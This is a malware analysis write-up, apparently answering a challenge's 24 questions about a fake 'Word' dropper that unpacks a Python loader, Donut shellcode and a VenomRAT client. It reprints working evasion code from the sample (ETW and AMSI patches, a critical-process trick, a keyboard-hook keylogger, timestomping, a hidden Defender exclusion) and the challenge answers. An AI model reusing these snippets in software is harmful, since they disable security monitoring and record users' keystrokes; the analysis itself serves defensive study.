
Pyvenom
بسم الله، الحمد لله حمدًا طيبًا مباركًا يليق بجلاله وعظيم سلطانه، والصلاة والسلام على نبينا محمد ﷺ، الذي بلّغ الرسالة وأدّى الأمانة وجاهد في الله حق جهاده.
I'm Ahmed Allah Mohamed, aka 0x_V3N0M.
Some malware doesn't try to look dangerous. It tries to look boring: a document, a system process, a file you've seen a hundred times. Pyvenom starts exactly like that. On the surface it is a harmless self-extracting archive, but the Scenario hints at a much longer story hiding behind it, one that ends with a full-featured remote access tool phoning home.
My job here is simple: follow the trail, one layer at a time, and see where it leads.
Enough talking, let's dive in.
The sample arrived as a single file named Microsoft Word (2)_docx.exe, preceded by a garbled prefix that looks like a non-Latin filename that did not survive the encoding. The _docx in the name and the .exe at the end already suggest a lure: something meant to look like a document.
Before running anything (and I never ran it), I opened the file in Detect It Easy to see what I was dealing with.
DIE identified a 64-bit GUI PE of about 8 MiB, built with the Microsoft linker and Visual C/C++. The interesting parts were lower in the output: a heuristic packer flag for "SFX + Section #6 (.rsrc) compressed + High entropy", an explicit SFX: WinRAR detection, and a RAR (5) archive stored in the overlay, starting at offset 0x00354400 with a size of 0x004bc0d4.
Figure 1: Detect It Easy flags the file as a WinRAR SFX with a RAR5 archive in the overlay.
So the file is not a document and not a normal program either: it is a self-extracting executable, a small PE stub with an archive appended to it.
Q1 — What type of archive is used as the dropper in this sample?
Answer:
SFXAn SFX archive is more than data. It carries a small script in its archive comment that tells the stub where to extract and what to run afterwards. Since the DIE output already told me this was a RAR5 inside a WinRAR SFX, I asked 7-Zip to list it:
7z l '䫬p¼Ñ¡G Microsoft Word (2)_docx.exe'
7-Zip confirmed the archive type as Rar5, located at offset 3490816 with a physical size of 4964564 bytes and 25 blocks, not encrypted. More importantly, it printed the archive comment, which begins with the line "The comment below contains SFX script commands". Inside it sits the whole execution plan, in plain text:
Path=%USERPROFILE%\appiSetup=appi\pythonw.exe appi\svchost.pycSilent=1Overwrite=1
Figure 2: The SFX script embedded in the archive comment, with the extraction path highlighted.
The Path directive is the one that answers where the payload goes, and it is expanded at run time by the SFX stub, so each victim gets their own copy under their own profile.
Q2 — Which directory does the script use to unpack the payload?
Answer:
%USERPROFILE%\appi
The location is a good choice from the attacker's side: %USERPROFILE% is writable without administrator rights, and the folder name appi is short and unremarkable. The other directives complete the picture. Silent=1 hides the extraction UI, and Overwrite=1 replaces any existing files without prompting, so the victim sees nothing and a re-run simply refreshes the dropper's files.
The line that matters most in the SFX script is Setup=. It is the command the stub runs once extraction finishes, and it has two parts: a program, and an argument handed to it.
Setup=appi\pythonw.exe appi\svchost.pyc
Figure 3: The Setup directive, with the program being launched highlighted.
The program is pythonw.exe, the windowless Python interpreter. It is a real, unmodified-looking interpreter shipped inside the archive. Further down the same 7-Zip listing, next to it, sit the files a portable Python needs: python39.dll, vcruntime140.dll, libffi-7.dll and a set of .pyd extension modules. The attacker did not write a native loader. They bundled a complete Python runtime and let it run their script.
Q3 — Which executable is launched by the script as part of its setup command?
Answer:
pythonw.exe
The Setup line has one more piece. After pythonw.exe comes its argument, and that argument is the file the interpreter will actually run.
Setup=appi\pythonw.exe appi\svchost.pyc
Figure 4: The argument of the Setup directive, svchost.pyc, highlighted.
The argument is svchost.pyc. Two details stand out. First, the extension: .pyc is compiled Python bytecode, not source, so the script is not readable as text and has to be decompiled before it can be analyzed. Second, the name: svchost is a legitimate Windows process name, borrowed here so that a casual look at a process list or a folder listing might pass it by.
Q4 — Which file serves as the primary payload?
Answer:
svchost.pyc
svchost.pyc is compiled Python, so there is no source code to read. But compiled bytecode is not anonymous: when Python compiles a script it records, inside every code object, the path of the file it was compiled from. That path survives into the .pyc and often says something about whoever built it.
Instead of decompiling, I went straight to the bytes. I opened svchost.pyc in HxD and scrolled through the data region until a readable string stood out. At offset 0x417, highlighted in the figure, sits a 36-byte selection that decodes to a Windows path.
Figure 5: HxD showing the embedded source path inside svchost.pyc, highlighted at offset 0x417.
The path points to a drive E: and ends in payload.py, a different name from the svchost.pyc the malware ships under. So the file was written as payload.py, compiled, and renamed to look like a system process.
Q5 — What is the original source file path embedded in the bytecode?
Answer:
E:\code2\AVE\VA\no3\appi\payload.py
A .pyc file begins with a 16-byte header, and one of its fields is a timestamp: the modification time of the source script when Python compiled it. For an analyst this is a free piece of metadata, as long as it is read as what it is, a value the author's build produced and not something the malware computed at run time.
I uploaded svchost.pyc to PyLingual, which identified it as Python 3.9 bytecode and printed the header fields at the top of its output.
Figure 6: PyLingual's output for svchost.pyc, showing (1) the service, (2) the detected Python version, and (3) the source timestamp.
The tool reports Source timestamp: 2026-09-01 07:14:52 UTC (1788246892), and the same output repeats the internal filename payload.py from the previous section. The decompilation itself ended with a "Compilation Error" banner, so parts of the recovered code are incomplete; the header information does not depend on that.
I also read the raw header myself to avoid relying on the tool: 610d0d0a 00000000 6c7b966a. The first four bytes are the Python 3.9 magic number, the flags field is zero (so the next field is a plain timestamp, not a hash), and 6c7b966a read as little-endian is 0x6a967b6c, which is 1788246892. That is 2026-09-01 07:14:52 in UTC.
Q6 — What is the exact compilation timestamp of the payload script?
Answer:
2026-09-01 07:14:52
With the decompiled script open in a text editor, the first thing I noticed was how little it wanted to be searched. Running strings on the payload for anything interesting would have found nothing useful, because the author breaks the important names into fragments and glues them together only at run time.
The top of the script defines the two helpers behind this:
_K = 101_x = lambda b: bytes((c ^ _K for c in b)).decode()def _s(*parts): return ''.join(parts)
_s simply concatenates its arguments, so a name like pythonw.exe is stored as 'pyth', 'onw', '.exe'. _x is a single-byte XOR decoder with the key 101, used for strings that are stored as raw bytes rather than fragments. Right below them, the script builds its working set of names this way: the interpreter (_PYW), the payload (_PYC), the guardian module (_GPYC), the watchdog script (_WD), and two bookkeeping files, _LOCK and _MPID.
Figure 7: The helper functions and the fragmented names at the top of the decompiled script, with the _LOCK definition highlighted (line 28).
The highlighted line builds the lock file's name:
_LOCK = _s('.pay', 'load', '_ins', 'tanc', 'e.lo', 'ck')
Joining the six fragments by hand gives .payload_instance.lock. The leading dot is worth noting, since it hides the file from casual directory listings on Unix-style tools, though on Windows it carries no special meaning. The next line, _MPID, follows the same pattern and produces .payload_main.pid, but that name ends in .pid, which points to a file that stores a process ID, not one used as a lock.
Q7 — Which file is created to ensure that only a single instance of the payload is running?
Answer:
.payload_instance.lock
Before the payload does anything loud, it deals with the one thing that could record it. Windows ships a tracing facility called ETW (Event Tracing for Windows), and many security products build their behavioral telemetry on top of it. Every time a process emits a trace event, it calls EtwEventWrite inside ntdll.dll. If that function stops working inside the malware's own process, the process stops generating events.
The decompiled function that does this opens with a docstring, and the author left it in the bytecode. I found it in HxD at offset 0x1C77, where a 9-byte selection reads ret(0xC3). The text around it names the target, Patch ntdll!EtwEventWrite, and mentions ETW and EDR. The rest is non-Latin text that HxD shows as noise, which is most likely because it is UTF-8 being decoded as Windows ANSI.
Figure 8: HxD showing the docstring embedded in svchost.pyc, with ret(0xC3) highlighted at offset 0x1C77.
The code behind that comment is short:
import ctypes ntdll = ctypes.WinDLL(_x(b'\x0b\x11\x01\t\t')) addr = ctypes.cast(ctypes.windll.kernel32.GetProcAddress(ctypes.windll.kernel32.GetModuleHandleW(_x(b'\x0b\x11\x01\t\tK\x01\t\t')), b'EtwEventWrite'), ctypes.c_void_p).value if not addr: return False else: old_prot = ctypes.c_ulong(0) ctypes.windll.kernel32.VirtualProtect(ctypes.c_void_p(addr), 1, 64, ctypes.byref(old_prot)) ctypes.cast(addr, ctypes.POINTER(ctypes.c_ubyte))[0] = 195 ctypes.windll.kernel32.VirtualProtect(ctypes.c_void_p(addr), 1, old_prot, ctypes.byref(old_prot)) return True except Exception: return False
Here the _x helper from the previous section earns its keep: the library name is stored as XOR-encoded bytes, and decoding them with the key 101 gives ntdll.dll. The function then resolves the address of EtwEventWrite, makes the first byte writable (64 is 0x40, PAGE_EXECUTE_READWRITE), overwrites it with 195, and restores the original protection. 195 is 0xC3.
Q8 — Which assembly instruction is written to the first byte of EtwEventWrite to silence ETW logging?
Answer:
retSilencing ETW hides the malware. The next function makes it hard to remove. Its trick is to ask Windows to treat the process as critical, so that if anyone terminates it, the whole system goes down with it.
The function (decompiled around lines 253 to 278 of the script) works in two steps. First it enables a privilege on its own process token:
hProcess = ctypes.windll.kernel32.GetCurrentProcess() if not ctypes.windll.advapi32.OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(hToken)): return False else: luid = LUID() if not ctypes.windll.advapi32.LookupPrivilegeValueW(None, SE_DEBUG_NAME, ctypes.byref(luid)): ctypes.windll.kernel32.CloseHandle(hToken) return False else: tp = TOKEN_PRIVILEGES() tp.PrivilegeCount = 1 tp.Privileges[0].Luid = luid tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ctypes.windll.advapi32.AdjustTokenPrivileges(hToken, False, ctypes.byref(tp), ctypes.sizeof(tp), None, None) ctypes.windll.kernel32.CloseHandle(hToken) ProcessBreakOnTermination = 29 BreakOnTermination = ctypes.c_ulong(1) result = ntdll.NtSetInformationProcess(hProcess, ProcessBreakOnTermination, ctypes.byref(BreakOnTermination), ctypes.sizeof(BreakOnTermination))
SE_DEBUG_NAME is the name of SeDebugPrivilege, so the payload is enabling debug privilege before doing anything else. Only then does it make the call that matters:
ProcessBreakOnTermination = 29 BreakOnTermination = ctypes.c_ulong(1) result = ntdll.NtSetInformationProcess(hProcess, ProcessBreakOnTermination, ctypes.byref(BreakOnTermination), ctypes.sizeof(BreakOnTermination)) if result == 0: print('[+] process protected (critical)')
Figure 9: The NtSetInformationProcess call with ProcessBreakOnTermination highlighted (line 270), preceded by the privilege setup.
The second argument of NtSetInformationProcess is the information class, and the script names it ProcessBreakOnTermination and assigns it the value 29. The data passed is a c_ulong set to 1, which switches the behavior on. The function returns success when the NTSTATUS result is 0, and the author's own print statement describes the outcome as the process being "protected (critical)".
Q9 — Which PROCESSINFOCLASS enumeration value is used to ensure the system crashes if the process is terminated?
Answer:
ProcessBreakOnTermination
The payload script does not carry its shellcode in plain sight. Near the end of the file it defines a large string, COMPRESSED_LOADER, and two small functions that unwrap it:
def restore_loader(): data = base64.b85decode(COMPRESSED_LOADER.encode('ascii')) data = xor(data, XOR_KEY) return lzma.decompress(data).decode('utf-8')def run_shellcode(): loader_code = restore_loader() exec_globals = {'ctypes': ctypes, 'wintypes': wintypes, 'sys': sys} exec(loader_code, exec_globals)
Figure 10: restore_loader() and run_shellcode() in the decompiled script.
Three layers protect the blob: Base85, a single-byte XOR (XOR_KEY = 85), and LZMA. The result is Python source that the malware passes straight to exec. I never ran it.
Step 1: decode the loader offline. I wrote a short script that pulls COMPRESSED_LOADER out of the decompiled file, applies the same three layers in the same order, and, where the malware would call exec, writes the result to a text file instead.
data = base64.b85decode(blob.encode("ascii")) # 1) base85data = bytes(b ^ XOR_KEY for b in data) # 2) XOR 85code = lzma.decompress(data).decode("utf-8") # 3) lzmaThe output was a 340,068-character script that I could read as plain text.
Figure 11: The decoding script and its output (340068).
Step 2: read the loader without running it. The decoded script is a classic shellcode injector. It allocates executable memory with VirtualAlloc, copies the bytes in with RtlMoveMemory, starts a thread on them with CreateThread, and waits. Nearly all of its size is a single bytearray([...]). Nothing in the injector decrypts anything further, so the three layers above are the entire "decryption" the question refers to.
Figure 12: Head and tail of loader_decoded.py, showing the bytearray and the VirtualAlloc → CreateThread sequence.
Step 3: extract the shellcode as data. Rather than executing anything, I parsed the file with Python's ast module and read the list literal as numbers only:
import ast, hashlib
src = open("loader_decoded.py", encoding="utf-8").read()tree = ast.parse(src)
for node in ast.walk(tree): if isinstance(node, ast.Assign) and getattr(node.targets[0], "id", "") == "shellce": sc = bytes(ast.literal_eval(node.value.args[0])) break
open("shellcode.bin", "wb").write(sc)print("shellcode.bin :", len(sc), "bytes")print("md5 :", hashlib.md5(sc).hexdigest())
This produced shellcode.bin (56,455 bytes), which I then inspected.
Figure 13: The extraction script and its output.
Q10 — Which shellcode generator was used to create the payload after decryption?
Answer:
Donut
The extracted shellcode.bin is not a program you can open directly. A Donut blob is a small loader, a configuration structure, and the payload it will load, packed back to back. To pull the payload out without running any of it, I used Volexity's donut-decryptor, which parses the blob as data and writes the pieces to disk.
donut-decryptor shellcode.bin
The tool's log shows what it found. It identified the layout as 1.0_64 with instance version 1.0, located the instance at offset 0x5, and reported No encryption, setting instance to raw instance: the Donut configuration inside this sample is stored in the clear, so there was nothing to decrypt before extraction. It then wrote two files next to the input, mod_shellcode.bin (the module) and inst_shellcode.bin (the instance metadata), and finished with Parsed: 1 of 1 attempted files.
Figure 11: donut-decryptor run against shellcode.bin, with the module and instance files it wrote.
The module is the payload the shellcode exists to load, so it is the file the question is about. I measured it with wc -c mod_shellcode.bin, which returned 51,712 bytes.
Q11 — How many bytes does the file weigh that resulted from decrypting the shellcode?
Answer:
51712With the module on disk, the last step of this stage is to fingerprint it. A hash gives the file a stable identity: it can be searched on public services, shared in a report, and used to confirm that two analysts are looking at the same bytes.
md5sum mod_shellcode.bin
Figure 12: md5sum run on mod_shellcode.bin, with the hash highlighted.
The command printed 4449256cb7b7cfbe70a8e0cc313b1bdd next to the file name. This is the hash of the extracted module, the same file measured in the previous section, and not of the larger shellcode.bin it came from.
Q12 — What is the MD5 hash of the file obtained after decrypting the shellcode?
Answer:
4449256cb7b7cfbe70a8e0cc313b1bdd
he extracted module is the end of the shellcode stage, and the question asks what it is. The head of the file already answers the first half: mod_shellcode.bin begins with 4d 5a (MZ) and a valid DOS header whose e_lfanew field points to 0x80, so it is a Portable Executable and not an opaque blob.
I renamed a copy to PyVenom.exe so my tools would accept it, and opened it in dnSpy, which decompiled it into readable C#. That only works for a .NET assembly, which fits what the shellcode's own strings suggested earlier: it references mscoree and the v4.0.30319 runtime version.
Q13 — Which malware family is identified as the final payload extracted from the Donut shellcode?
Answer:
VenomRAT
Opening the module in dnSpy, the assembly identifies itself as tempClient (version 1.0.7.0), and its code is organized into namespaces such as Client.Algorithm, Client.Connection and Client.Helper. The first place I looked was Client.Algorithm, since an RAT that talks to a server over an encrypted channel needs one class that owns the cryptography. It holds a single class, Aes256.
Its constructor takes one argument, a masterKey string, rejects it if it is null or empty, and then derives two keys from it in one block:
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(masterKey, Aes256.Salt, 50000)) { this._key = rfc2898DeriveBytes.GetBytes(32); this._authKey = rfc2898DeriveBytes.GetBytes(64); }
Figure 14: The Aes256 constructor in dnSpy. The Salt argument of Rfc2898DeriveBytes is highlighted.
Rfc2898DeriveBytes is .NET's implementation of PBKDF2. The password is the masterKey, the iteration count is 50,000, and the third input is a salt taken from a static field. From a single derivation the class pulls 32 bytes for _key, the AES-256 encryption key, and 64 more for _authKey, which the class uses for message authentication (a HmacSha256Length constant of 32 sits next to them). A salt exists so that the same password does not always produce the same key, but here it is a fixed value in the binary, which makes it a useful marker for the family.
Following Salt to its definition, near the bottom of the class, gives the value directly:
private static readonly byte[] Salt = Encoding.ASCII.GetBytes("DcRatByqwqdanchun");
Figure 15: The definition of Aes256.Salt, a 17-character ASCII string.
Q14 — Which salt is used for key derivation?
Answer:
DcRatByqwqdanchun
Most malware wants to be sure it is the only copy running, and this RAT does it with a named mutex. The method that creates it is MutexControl.CreateMutexWithAdminCheck, and the name it builds depends on who is running the process:
public static bool CreateMutexWithAdminCheck() { string text = Settings.MTX; if (MutexControl.IsAdmin()) { text += "_Admin"; } else { text += "_User"; } bool flag; MutexControl.currentApp = new Mutex(true, text, ref flag);
Figure 16: CreateMutexWithAdminCheck in dnSpy.
The suffix is easy to read: _Admin for an elevated process, _User otherwise. The prefix is the hard part. Settings.MTX is not a readable name. It is a Base64 string of 88 characters, which means the RAT stores its configuration encrypted:
csharp
public static string MTX = "6GZRpjOezIbB3PDCEW50Wv94mpN0RITAZ/++VIlWZCMeCkdU/slqbuvDPFxbpZylBq9gTIgrV9Ae9Mi893BILg==";
Figure 17: The encrypted MTX field in the Settings class.
To read it I needed the masterKey that feeds the Aes256 constructor from the previous section. The Settings class has a Key field that is itself Base64, and the code decodes it to a UTF-8 string before use:
Settings.Key = Encoding.UTF8.GetString(Convert.FromBase64String(Settings.Key));Settings.aes256 = new Aes256(Settings.Key);
I rebuilt the decryption offline in Python instead of running the sample: PBKDF2 with SHA-1, the salt DcRatByqwqdanchun and 50,000 iterations, deriving 96 bytes at once (the first 32 as the AES key, the last 64 as the HMAC key). The Base64 value splits into a 32-byte HMAC, a 16-byte IV, and the ciphertext. My first attempt failed its HMAC check and returned a padding error, because I had left the key as a placeholder. Once I used the decoded Settings.Key, the HMAC verified (hmac ok: True) and the plaintext came out.
Q15 — What is the full mutex created when the malware is running with administrator privileges?
Answer:
aa_Admin
ETW was only half of the defender-blinding story. The RAT also targets AMSI, the interface that lets antivirus engines inspect scripts and in-memory code before they run. The class that does this sits in the Client.Connection namespace and is simply called Amsi. Its entry point is Bypass():
public static void Bypass() { string text = "uFcA"; text += "B4DD"; string text2 = "uFcAB4"; text2 += "DCGAA="; if (Amsi.is64Bit()) { Amsi.PatchA(Convert.FromBase64String(text)); return; } Amsi.PatchA(Convert.FromBase64String(text2)); }
Figure 16: Amsi.Bypass() in dnSpy, with the two split Base64 strings highlighted.
This is the same habit seen in the Python payload: each string is cut into two pieces and joined at run time, so searching the binary for the complete Base64 value finds nothing. Joining the pieces by hand gives uFcA + B4DD = uFcAB4DD and uFcAB4 + DCGAA= = uFcAB4DCGAA=. The is64Bit() check picks which one is written: the first for 64-bit processes, the second for 32-bit.
The visible start of PatchA shows the next step: it decodes another Base64 string, YW1zaS5kbGw=, with Encoding.Default.GetString, which looks like a library name being hidden in the same way. I decoded it by hand as amsi.dll but did not confirm it with a tool, so I treat that as likely. I did not examine the rest of PatchA, so I cannot say here how the function resolves AmsiScanBuffer or writes the bytes.
To see what the patches do, I decoded both strings in Python and printed them as hex:
import base64print(base64.b64decode("uFcAB4DD").hex())print(base64.b64decode("uFcAB4DCGAA=").hex())
The output was b857000780c3 for the 64-bit string and b857000780c21800 for the 32-bit one.
Both start with b8 57 00 07 80, which is mov eax, 0x80070057, the error code E_INVALIDARG. The 64-bit version then ends with c3 (ret), and the 32-bit version with c2 18 00 (ret 0x18), a return that also cleans 24 bytes of arguments off the stack, matching the six arguments of AmsiScanBuffer under the 32-bit calling convention. I disassembled these by hand from the hex, so the exact meaning is my reading and not a disassembler's output.
Q16 — Which Base64 encoded strings are used to patch AmsiScanBuffer for the x64 and x86 architectures?
Answer:
uFcAB4DD, uFcAB4DCGAA=
Once the RAT is connected to its server, everything it sends goes through one method: ClientSocket.Send, in the Client.Connection namespace. Reading it shows how the network protocol frames a message, because the first thing it writes is not the message itself but its length:
byte[] bytes = BitConverter.GetBytes(msg.Length); ClientSocket.TcpClient.Poll(-1, SelectMode.SelectWrite); ClientSocket.SslClient.Write(bytes, 0, bytes.Length);
Figure 17: ClientSocket.Send in dnSpy, with the write of the length header highlighted (line 294).
msg is a byte[], so msg.Length is an int, and BitConverter.GetBytes on an int returns a 4-byte array. That array is written to SslClient first. The method then checks whether the message is larger than 1,000,000 bytes: if so, it copies it through a MemoryStream in chunks of 50,000 bytes, otherwise it writes it in one call. Either way, the receiver reads a 4-byte length first and then knows how many bytes to expect.
The stream the data is written to is SslClient, which is the TLS layer, so the encryption happens below this method. That explains the wording of the question: the length header is built in plain form, before anything reaches TLS.
Q17 — How many bytes are allocated for the packet length header before encryption?
Answer:
4
Before looking at what the RAT says to its server, I wanted to know how it structures a message. The class that talks to the server, ClientSocket, is the natural place to check, and the answer is already in the first lines of the file, in its using directives:
using System.Net.Security;using System.Security.Authentication;using System.Security.Cryptography.X509Certificates;using Client.Helper;using MessagePackLib.MessagePack;
Figure 18: The top of ClientSocket in dnSpy, with the MessagePackLib.MessagePack import highlighted (line 14).
The MessagePackLib.MessagePack namespace is not a .NET Framework namespace. In the Assembly Explorer it appears as its own namespace inside the same assembly (with a helper class, BytesTools), which means the library is compiled into the RAT instead of being referenced from outside. The class also exposes a Packs list of MsgPack objects and a Read(object) method, so the incoming and outgoing messages are objects of that library, not plain strings.
The neighboring imports describe the transport: System.Net.Security, System.Security.Authentication and X509Certificates are the pieces .NET uses for TLS, which fits the SslClient field seen on the same class. That is a hint, not a proof: I did not open the method that sets the connection up.
Q18 — Which serialization framework is used to structure the messages sent by the RAT to the C2 server?
Answer:
MessagePack
The serialized message is not sent as it is. Next to MsgPack in the MessagePackLib.MessagePack namespace sits a small class called Zip, with only two methods, Compress and Decompress. Its Decompress method is visible in full:
public static byte[] Decompress(byte[] input) { byte[] result; using (MemoryStream memoryStream = new MemoryStream(input)) { byte[] array = new byte[4]; memoryStream.Read(array, 0, 4); int num = BitConverter.ToInt32(array, 0); using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) { byte[] array2 = new byte[num]; gzipStream.Read(array2, 0, num); result = array2; } } return result; }
Figure 19: The Zip class in dnSpy, with GZipStream highlighted (line 19) and the class listed beside MsgPack in the Assembly Explorer.
Reading it from the top shows the format. The method first reads four bytes and converts them to an int: this is the original, uncompressed size. It then opens a GZipStream in decompression mode over the rest of the data and reads exactly that many bytes into a new array. So a compressed message is a 4-byte size followed by a GZip stream.
Compress is the mirror image. It does not appear in the figure, but the Assembly Explorer lists Compress(byte[]) next to Decompress(byte[]), and from the shape of Decompress I expect it to write the original length first and then the GZip stream. I did not open its body in this screenshot.
Q19 — Which compression algorithm is applied to serialized messages before transmission?
Answer:
GZip
After connecting, the RAT needs to introduce itself, and it does so in a method called SendInfo in the IdSender class (inside Client.Helper). It builds a MessagePack object and fills it with everything a server operator would want to know about the new machine:
public static byte[] SendInfo() { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Pac_ket").AsString = "ClientInfo"; msgPack.ForcePathObject("HWID").AsString = Settings.Hw_id; msgPack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgPack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit"); msgPack.ForcePathObject("Camera").AsString = Camera.havecamera().ToString(); msgPack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName; msgPack.ForcePathObject("Version").AsString = Settings.Ver_sion; msgPack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User"); msgPack.ForcePathObject("Perfor_mance").AsString = Methods.GetActiveWindowTitle(); msgPack.ForcePathObject("Paste_bin").AsString = Settings.Paste_bin; msgPack.ForcePathObject("Anti_virus").AsString = Methods.Antivirus(); msgPack.ForcePathObject("Install_ed").AsString = IdSender.GetInstallTime(); msgPack.ForcePathObject("Po_ng").AsString = ""; msgPack.ForcePathObject("Group").AsString = Settings.Group; msgPack.ForcePathObject("Chat").AsString = IdSender.DetectChatApps(); return msgPack.Encode2Bytes(); }
Figure 20: IdSender.SendInfo() in dnSpy, with the packet identifier ClientInfo highlighted (line 88).
The key line is the second one. Every message in this protocol carries a field that names its type, and here that field is Pac_ket, set to ClientInfo. The underscore is not a typo of mine: the RAT deliberately spells its field names with underscores (Pac_ket, Ver_sion, Perfor_mance, Anti_virus, Install_ed), which makes a plain search for Packet in the decompiled code return nothing useful. The rest of the method is a profile of the victim: a hardware ID, the logged-in user, the OS and its bitness, whether a camera exists, the path of the running executable, the RAT's version, whether it runs as admin, the title of the active window, an installed antivirus, and the install time. The visible lines end at Install_ed; the method continues below the screenshot, and the Python code I used earlier lists Group and a chat-application field as well.
The method returns msgPack.Encode2Bytes(), which is the byte array that ClientSocket.Send then frames and writes.
Q20 — Which specific packet identifier is sent by the RAT immediately following the successful establishment of the TLS session?
Answer:
ClientInfoThe Command That Loads Code
Where SendInfo is the RAT talking, ClientSocket.Read is the RAT listening. Every message that arrives from the server is passed to this method, which decodes it and branches on the packet identifier:
public static void Read(object data) { try { MsgPack msgPack = new MsgPack(); msgPack.DecodeFromBytes((byte[])data); string asString = msgPack.ForcePathObject("Pac_ket").AsString; if (!(asString == "Po_ng")) { if (!(asString == "plu_gin")) { if (!(asString == "save_Plugin")) { goto IL_1C7; } } else { ----
Figure 21: The start of ClientSocket.Read in dnSpy, with the identifier plu_gin highlighted (line 367).
The decompiler flattened the control flow into nested negations, which makes it harder to read than the original switch, but the structure is clear. The method decodes the incoming bytes as MessagePack, reads the Pac_ket field (the same obfuscated name seen in SendInfo), and compares it against three known values: Po_ng, plu_gin and save_Plugin. Anything else jumps to the end of the method (IL_1C7) and is ignored. For plu_gin, the code enters the else branch and immediately asks SetRegistry.GetValue about a field named Dll, which means this command carries a plugin identifier and the RAT checks whether it already has that plugin stored.
The visible lines stop there. What happens when the plugin is found, and when it is missing, is in the lines below the screenshot, and I analyze it in the next section.
Q21 — Which packet identifier is used by the C2 server to instruct the RAT to load and execute a plugin?
Answer:
plu_gin
The previous section stopped at the line that asks the registry about a plugin. The next lines show what the RAT does with the answer, and they are what turns plu_gin into a full exchange with the server. Here is the middle of ClientSocket.Read:
if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null) { ClientSocket.Packs.Add(msgPack); MsgPack msgPack2 = new MsgPack(); msgPack2.ForcePathObject("Pac_ket").SetAsString("sendPlugin"); msgPack2.ForcePathObject("Hashes").SetAsString(msgPack.ForcePathObject("Dll").AsString); ClientSocket.Send(msgPack2.Encode2Bytes()); } else
Figure 22: The missing-plugin branch of ClientSocket.Read, with sendPlugin highlighted (line 382).
When the server sends plu_gin with a Dll value, the RAT looks that value up with SetRegistry.GetValue. If the lookup returns null, the plugin is not stored on this machine yet, and the RAT does three things: it keeps the original request in a list called Packs, it builds a new message whose Pac_ket is sendPlugin and whose Hashes field repeats the Dll value it was asked for, and it sends that message back to the server with ClientSocket.Send. In other words, the RAT does not carry the plugin: it asks for it by identifier, and holds on to the pending request until the code arrives.
The screenshot ends at the else, which is the branch where the plugin is already known. From the code I pasted earlier, that branch calls ClientSocket.Invoke(msgPack) and a separate save_Plugin packet is how the server delivers the missing code: the RAT stores it with SetRegistry.SetValue and then runs the requests waiting in Packs. I did not capture those lines, so the rest of this paragraph is my reading of code outside this screenshot.
The exchange, as far as the visible code and my reading of the rest show, is:
C2 -> RAT : plu_gin (Dll = plugin identifier)RAT -> C2 : sendPlugin (Hashes = same identifier) [if not stored]C2 -> RAT : save_Plugin (Hash + Dll bytes) [not captured]RAT : runs the pending request via Invoke [not captured]Q22 — Which packet identifier is sent by the RAT if the requested plugin is not found in the registry?
Answer:
sendPlugin
The RAT does not only wait for commands. A class in Client.Helper called OfflineKeylogger records keystrokes on its own, and the name suggests why: it logs locally, so the data is there even when the server cannot be reached. The Assembly Explorer shows what the class is made of, and the list reads like a keylogger's parts: WH_KEYBOARD_LL and WM_KEYDOWN (constants for a low-level keyboard hook), SetWindowsHookEx, UnhookWindowsHookEx, CallNextHookEx, a LowLevelKeyboardProc, GetKeyboardState, GetKeyChar, and window-related helpers such as GetForegroundWindowTitle.
Its entry point, StartAsync, decides where the logs go and starts the hook:
public static void StartAsync() { OfflineKeylogger._logDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Temp", "klogs"); try { Directory.CreateDirectory(OfflineKeylogger._logDir); } catch { } Thread thread = new Thread(delegate() { OfflineKeylogger._hookID = OfflineKeylogger.SetHook(OfflineKeylogger._proc); Application.Run(); }); thread.IsBackground = true; thread.SetApartmentState(ApartmentState.STA); thread.Start(); }
Figure 23: OfflineKeylogger.StartAsync in dnSpy, with the class listed in Client.Helper.
The first statement builds the folder: the LocalApplicationData special folder, then Temp, then klogs. On Windows that special folder is %LOCALAPPDATA%, so the directory is %LOCALAPPDATA%\Temp\klogs. The code creates it inside a try/catch that swallows errors, so a failure stays silent. It then starts a background thread that installs the keyboard hook through SetHook and calls Application.Run() to keep a message loop alive; the thread is set to single-threaded apartment state, which a hook needs in order to receive messages. Because the thread is a background thread, it does not keep the process alive by itself.
The file name comes from a second method, GetLogFile, which is listed in the Explorer but not open in this screenshot. From the code I read earlier, it builds the name from the current date in yyyy-MM-dd format plus .txt, and combines it with the log folder.
Together with the folder above, that gives one file per day.
Q23 — What is the full path and naming convention used by the RAT for its keylogger log files?
Answer:
%LOCALAPPDATA%\Temp\klogs\yyyy-MM-dd.txt
After installing itself, the RAT does something that has nothing to do with running and everything to do with not being noticed: it changes the dates on its own file. The code is in Client.Install.NormalStartup, inside the method Install():
try { DateTime dateTime = new DateTime(2022, 3, 15, 10, 30, 0); File.SetCreationTime(fileName, dateTime); File.SetLastWriteTime(fileName, dateTime); File.SetLastAccessTime(fileName, dateTime); }
Figure 24: The timestomping block in NormalStartup.Install(), highlighted (lines 31 to 36).
This technique is called timestomping. The author builds one DateTime with fixed values, year 2022, month 3, day 15, hour 10, minute 30, second 0, and applies it to all three timestamps a file has: creation time, last write time and last access time. After that, a directory listing or a timeline sorted by date would place the malware in March 2022, months or years before the infection, and among older, legitimate files. The whole block sits inside a try/catch that does nothing on failure, so if the change cannot be made the RAT carries on silently.
The target is the variable fileName. Its definition is above this part of the method, and I did not capture it in this screenshot, so I cannot say from the figure alone which file it names; the question describes it as the malware binary.
The lines just above the block are worth noting. They build a command that ends with Add-MpPreference -ExclusionProcess ' followed by the file name without its extension and .exe', and they start it with WindowStyle = ProcessWindowStyle.Hidden and CreateNoWindow = true. Add-MpPreference is the PowerShell cmdlet that adds an exclusion to Microsoft Defender, so, as far as the visible fragment shows, the RAT hides a Defender exclusion for its own process in the same method that falsifies its dates. I only see the end of that statement, so I do not know which executable it starts or the rest of its arguments.
Q24 — What is the exact date and time used for timestomping the malware binary?
Answer:
